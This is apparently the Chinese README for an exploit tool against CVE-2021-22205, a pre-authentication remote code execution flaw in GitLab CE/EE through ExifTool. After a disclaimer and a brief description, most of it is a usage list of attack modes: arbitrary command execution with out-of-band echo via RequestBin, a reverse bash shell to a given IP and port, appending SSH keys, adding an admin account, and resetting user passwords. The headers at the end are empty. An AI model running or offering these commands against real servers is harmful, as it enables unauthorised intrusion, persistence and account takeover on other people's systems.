GitLab CE/EE 预认证远程代码执行(利用ExifTool)
该项目仅供学习使用,如果侵犯了任何人的权益,请联系我删除该项目。最后,请勿非法使用。如果您在使用此工具的过程中有任何违法行为,您将自行承担所有后果。该工具的所有开发者和贡献者不承担任何法律及连带责任。
在GitLab CE/EE中发现了一个问题,影响从11.9开始的所有版本。GitLab未能正确验证传递给文件解析器的图像文件,导致远程命令执行。
受影响版本:
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url参数格式:http[s]://<domain|ip>[:port]/,例如:https://example.com:9000/*的方法(rce2,add)不稳定,可能无法使用 :(检测:

RCE(通过RequestBin带外回显):

反弹Bash Shell:

将SSH密钥附加到authorized_keys:

GitLab用户密码修改与恢复:
